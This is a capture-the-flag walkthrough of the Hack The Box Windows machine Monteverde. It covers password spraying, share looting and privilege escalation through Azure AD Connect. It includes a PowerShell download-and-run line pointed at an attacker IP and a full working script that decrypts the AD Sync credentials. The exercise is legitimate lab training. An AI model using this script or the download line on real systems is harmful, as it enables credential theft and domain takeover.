Hack The Box: Monteverde
What will you learn? The Hack The Box retired machine Monteverde is a medium rated Windows machine that features Microsoft Azure AD Connect penetration testing, as part of the Cloud track. This takes attackers through domain enumeration, password spraying, exploitation of service accounts, share enumeration, and the enumeration of the AD Connect deployment files. Password re-use paves a way for lateral movement that enables a path to extract credentials required to replicate the directory changes to Azure (domain administrator account).
Let’s begin enumerating the target:
The following interesting ports are open: 53 (DNS), Kerberos (88), MSRPC (135), LDAP (389), SMB (445), and encrypted LDAP (3268). This port lineup establishes we’re dealing with a domain controller.
Right away we can/should begin enumerating RPC and SMB protocols, my next step would be to look into LDAP as well. These protocols tend to deliver a lot of information off the bat. We can query domain users and domain information in RPC and create a user list.
We can copy and paste that into a file and use BASH (or VI) to chop up the results using the below command. Something interesting about the user AAD
is that this is a active directory AD Sync thing to sync passwords between Microsoft Azure and an on-premises domain controller.
We can attempt to use the usernames as passwords with netexec (Crackmapexec) and see if we get any hits. If there was a website we may use a tool such as CEWL to create a list of passwords. We also have not yet enumerated shares / LDAP for potential exposure of user descriptions or shares that yield us credentials to test.
Doing so reveals that we do have credentials that are valid SABatchJobs:SABatchJobs
Outside of a capture the flag environment, it is important to examine the password policy which we can obtain by running pass-pol
and see the account lockout threshold that may be set to not create too many events / lock any accounts out.
We can test these against the SMB protocol and see if we can list out any shares to then access and repeat the enumeration process.
Testing against all of them I see we can find information in SYSVOL and users$. We can acquire all of these files/folders contained using RECURSE on
, prompt
, and mget *
inside of an SMB session.
Now we can see what we’re up against using tree
and we can inspect all of these files by running a code .
so we can advantageously use Microsoft Visual Studio code to comb through all of the files.
We can find a plaintext password in the azure.xml
file under mhope
and now we can go back to Crackmapexec with this and test creds against the domain.
We have SMB verified access and access through EVIL-WINRM.
Now we can acquire the user.txt file as the user MHOPE
Looking for a privilege escalation path, we can look at our current user for potential easy-wins.
If we go into the C:\”Program Files”
directory we can see that there is a lot of Microsoft Azure and Microsoft SQL folders. We can enumerate the service version of AD Sync through the registry, the regular WMIC or Get-Service methodologies will fail.
We can see exactly where the service binary is where ImagePath:
is. We can then request the file and product version.
AD Sync account credentials can be exfiltrated using this tool, ADCONNECTDUMP: https://github.com/dirkjanm/adconnectdump
AD Connect stores credentials in its newer versions using DPAPI and the older version uses the Registry. We will follow this blog post for executing the proof-of-concept for exploiting older versions of AD Connect: https://blog.xpnsec.com/azuread-connect-for-redteam/
By default AD Connect will use an SQL Server Express instance as a local database. We can enumerate for this using netstat
and see if this is the case. Running a check with netstat reveals that Microsoft SQL Server is installed and bound to the same address we’re familiar with and not externally accessible so this is a custom installation of AD Connect.
We need to obtain the values required for the proof of concept in the blog post mentioned, here:
We can start enumerating the context required from the SQL database using SQLCMD
We can at least know now that the server name is MONTEVERDE and we can start seeing the columns, although dirty, of the database
We can clean up the outputs and see exactly what we’re dealing with for databases.
Using PowerUpSQL we can actually run a verbose audit to gather a great understanding of what kind of privilege escalation paths exist or information that’s exposed: https://github.com/NetSPI/PowerUpSQL, but the anti-virus on the machine is fighting me with transporting files. I was using IEX(New-Object Net.WebClient).downloadstring("http://10.10.14.3/PowerUpSQL.ps1")
and certutil
but nothing adds it to the machine for me and I don’t technically need it.
Now we can build our command to extract the information relating to SQL in our script with the previous context.
We need to take the proof of concept script from that blog and put our values into the script and create a file called adconnect.ps1
(or whatever) and send it to our machine.
We can run this script using a PowerShell(IEX) command to automatically run the script once it pulls it from a python3
webserver. I had ChatGPT fix all of the compilation errors from spacing, error handling, etc in the script.
Write-Host "AD Connect Sync Credential Extract POC (@_xpn_)`n"
# Initialize variables
$key_id = 1
$instance_id = [GUID]"1852B527-DD4F-4ECF-B541-EFCCBFF29E31"
$entropy = [GUID]"194EC2FC-F186-46CF-B44D-071EB61F49CD"
$decrypted = $null
# Try connecting to SQL server
try {
$client = New-Object System.Data.SqlClient.SqlConnection -ArgumentList "Server=MONTEVERDE;Database=ADSync;Trusted_Connection=true"
$client.Open()
$cmd = $client.CreateCommand()
$cmd.CommandText = "SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent WHERE ma_type = 'AD'"
$reader = $cmd.ExecuteReader()
$reader.Read() | Out-Null
$config = $reader.GetString(0)
$crypted = $reader.GetString(1)
$reader.Close()
} catch {
Write-Host "Error connecting to SQL database or executing query: $_"
exit
}
# Load the mcrypt.dll and decrypt
try {
add-type -path 'C:\Program Files\Microsoft Azure AD Sync\Bin\mcrypt.dll'
$km = New-Object -TypeName Microsoft.DirectoryServices.MetadirectoryServices.Cryptography.KeyManager
$km.LoadKeySet($entropy, $instance_id, $key_id)
# Get the keys
$key = $null
$km.GetActiveCredentialKey([ref]$key)
$key2 = $null
$km.GetKey(1, [ref]$key2)
# Decrypt the encrypted data
if ($key2 -ne $null -and $crypted -ne $null) {
$key2.DecryptBase64ToString($crypted, [ref]$decrypted)
} else {
Write-Host "Key or encrypted configuration is null."
exit
}
} catch {
Write-Host "Error loading key set or decrypting configuration: $_"
exit
}
# Parse XML data
try {
# Extract domain and username from configuration
$domain = select-xml -Content $config -XPath "//parameter[@name='forest-login-domain']" | select @{Name = 'Domain'; Expression = {$_.node.InnerXML}}
$username = select-xml -Content $config -XPath "//parameter[@name='forest-login-user']" | select @{Name = 'Username'; Expression = {$_.node.InnerXML}}
$password = select-xml -Content $decrypted -XPath "//attribute" | select @{Name = 'Password'; Expression = {$_.node.InnerXML}}
# Check for null values and display the extracted data
if ($domain.Domain -and $username.Username -and $password.Password) {
Write-Host ("Domain: " + $domain.Domain)
Write-Host ("Username: " + $username.Username)
Write-Host ("Password: " + $password.Password)
} else {
Write-Host "Error: One or more extracted values are null."
}
} catch {
Write-Host "Error parsing XML or extracting credentials: $_"
exit
}
# Close the SQL connection
$client.Close()
Now we can remote in as the Administrator user and obtain the root user flag by using PSEXEC.PY or EVIL-WINRM among other options